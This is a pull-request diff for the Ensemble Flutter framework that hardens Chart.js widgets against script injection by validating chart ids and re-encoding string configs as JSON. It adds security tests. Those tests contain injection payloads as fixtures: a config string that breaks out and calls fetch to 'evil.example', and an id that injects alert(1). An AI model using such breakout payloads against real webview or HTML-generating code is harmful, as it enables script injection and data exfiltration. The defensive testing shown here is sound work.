Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 39 additions & 2 deletions modules/ensemble/lib/util/chart_utils.dart
Original file line number Diff line number Diff line change
@@ -1,4 +1,38 @@
import 'dart:convert';

import 'package:meta/meta.dart';

class ChartUtils {
static final RegExp _safeChartId = RegExp(r'^[a-zA-Z0-9_]+$');

/// Returns true when [chartId] is safe to embed in HTML attributes and JS.
@visibleForTesting
static bool isSafeChartId(String chartId) => _safeChartId.hasMatch(chartId);

/// Builds a JavaScript expression that evaluates to a Chart.js config object.
///
/// Map-based configs may include author-defined JavaScript callbacks and are
/// emitted as trusted object literals. String configs are validated as JSON
/// and emitted via [jsonEncode] to prevent eval injection.
@visibleForTesting
static String buildSafeChartConfigExpression(
String config, {
required bool configFromMap,
}) {
if (configFromMap) {
return config;
}
if (config.isEmpty) {
return '{}';
}
try {
final parsed = jsonDecode(config);
return jsonEncode(parsed);
} catch (_) {
return '{}';
}
}

static String getClickEventScript(String chartId, {bool isWeb = false}) {
// For web, we use the chart variable name pattern
final chartReference = isWeb ? 'myChart$chartId' : 'window.chart';
Expand Down Expand Up @@ -46,7 +80,10 @@ class ChartUtils {
''';
}

static String getBaseHtml(String chartId, String config) {
static String getBaseHtml(String chartId, String config,
{bool configFromMap = false}) {
final configExpr =
buildSafeChartConfigExpression(config, configFromMap: configFromMap);
return '''
<!DOCTYPE html>
<html>
Expand All @@ -63,7 +100,7 @@ class ChartUtils {
<canvas id="$chartId"></canvas>
<script>
try {
window.chart = new Chart(document.getElementById("$chartId"), $config);
window.chart = new Chart(document.getElementById("$chartId"), $configExpr);
document.getElementById("$chartId").onclick = function(event) {
${getClickEventScript(chartId)}
};
Expand Down
15 changes: 13 additions & 2 deletions modules/ensemble/lib/widget/visualization/chart_js/chart_js.dart
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ import 'dart:convert';
import 'package:ensemble/framework/action.dart';
import 'package:ensemble/framework/widget/widget.dart';
import 'package:ensemble/screen_controller.dart';
import 'package:ensemble/util/chart_utils.dart';
import 'package:ensemble/util/utils.dart';
import 'package:ensemble/widget/helpers/controllers.dart';
import 'package:ensemble_ts_interpreter/invokables/invokable.dart';
Expand All @@ -21,6 +22,7 @@ class ChartJsController extends WidgetController {
String get chartDiv => 'div_$id';
String get chartId => id!;
dynamic config = '';
bool configFromMap = false;
Function? evalScript;
EnsembleAction? onTap;
}
Expand Down Expand Up @@ -139,17 +141,26 @@ class ChartJs extends StatefulWidget
@override
Map<String, Function> setters() {
return {
'id': (value) =>
_controller.id = Utils.getString(value, fallback: _controller.id!),
'id': (value) {
final id = Utils.getString(value, fallback: _controller.id!);
if (!ChartUtils.isSafeChartId(id)) {
throw FormatException(
'Chart id must contain only letters, numbers, and underscores',
);
}
_controller.id = id;
},
'width': (value) =>
_controller.width = Utils.getInt(value, fallback: defaultSize),
'height': (value) =>
_controller.height = Utils.getInt(value, fallback: defaultSize),
'config': (value) {
if (value is Map) {
_controller.config = JSInterpreter.toJSString(value);
_controller.configFromMap = true;
} else {
_controller.config = value;
_controller.configFromMap = false;
}
},
'onTap': (funcDefinition) => _controller.onTap =
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,8 @@ class ChartJsState extends ChartJsStateBase {
)
..loadHtmlString(ChartUtils.getBaseHtml(
widget.controller.chartId,
widget.controller.config,
widget.controller.config.toString(),
configFromMap: widget.controller.configFromMap,
));

return SizedBox(
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -20,13 +20,18 @@ class ChartJsState extends ChartJsStateBase {
return const Text("");
}

final configExpr = ChartUtils.buildSafeChartConfigExpression(
widget.controller.config.toString(),
configFromMap: widget.controller.configFromMap,
);

jsWidget = JsWidget(
id: widget.controller.id!,
createHtmlTag: () =>
'<div id="${widget.controller.chartDiv}"><canvas id="${widget.controller.chartId}"></canvas></div>',
scriptToInstantiate: (String c) => '''
if (typeof ${widget.controller.chartVar} !== "undefined") ${widget.controller.chartVar}.destroy();
${widget.controller.chartVar} = new Chart(document.getElementById("${widget.controller.chartId}"), $c);
${widget.controller.chartVar} = new Chart(document.getElementById("${widget.controller.chartId}"), $configExpr);
${widget.controller.chartVar}.update();

document.getElementById("${widget.controller.chartId}").onclick = function(event) {
Expand Down
67 changes: 67 additions & 0 deletions modules/ensemble/test/chart_js_security_test.dart
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
import 'dart:convert';

import 'package:ensemble/util/chart_utils.dart';
import 'package:flutter_test/flutter_test.dart';

void main() {
group('buildSafeChartConfigExpression', () {
test('rejects malicious string config that would break out of eval', () {
const malicious = '{});fetch("https://evil.example");//';

final result = ChartUtils.buildSafeChartConfigExpression(
malicious,
configFromMap: false,
);

expect(result, '{}');
expect(result.contains('fetch'), isFalse);
});

test('allows valid JSON string config from external data', () {
const config =
'{"type":"bar","data":{"labels":["A"],"datasets":[{"data":[1]}]}}';

final result = ChartUtils.buildSafeChartConfigExpression(
config,
configFromMap: false,
);

expect(jsonDecode(result), isA<Map>());
expect(result.contains('fetch'), isFalse);
});

test('preserves trusted map config that may include JS callbacks', () {
const trusted =
'{"options":{"plugins":{"legend":{"onClick":function(){return 1;}}}}}';

final result = ChartUtils.buildSafeChartConfigExpression(
trusted,
configFromMap: true,
);

expect(result, trusted);
});
});

group('isSafeChartId', () {
test('accepts auto-generated style ids', () {
expect(ChartUtils.isSafeChartId('chartJs_123456'), isTrue);
});

test('rejects ids that could break out of HTML or JS contexts', () {
expect(ChartUtils.isSafeChartId('chart");alert(1);//'), isFalse);
expect(ChartUtils.isSafeChartId('chart id'), isFalse);
});
});

group('getBaseHtml', () {
test('does not embed raw malicious config into generated HTML', () {
const malicious = '{});fetch("https://evil.example");//';

final html = ChartUtils.getBaseHtml('chartJs_123456', malicious);

expect(html.contains('fetch("https://evil.example")'), isFalse);
expect(html.contains('{});fetch'), isFalse);
});
});
}
Loading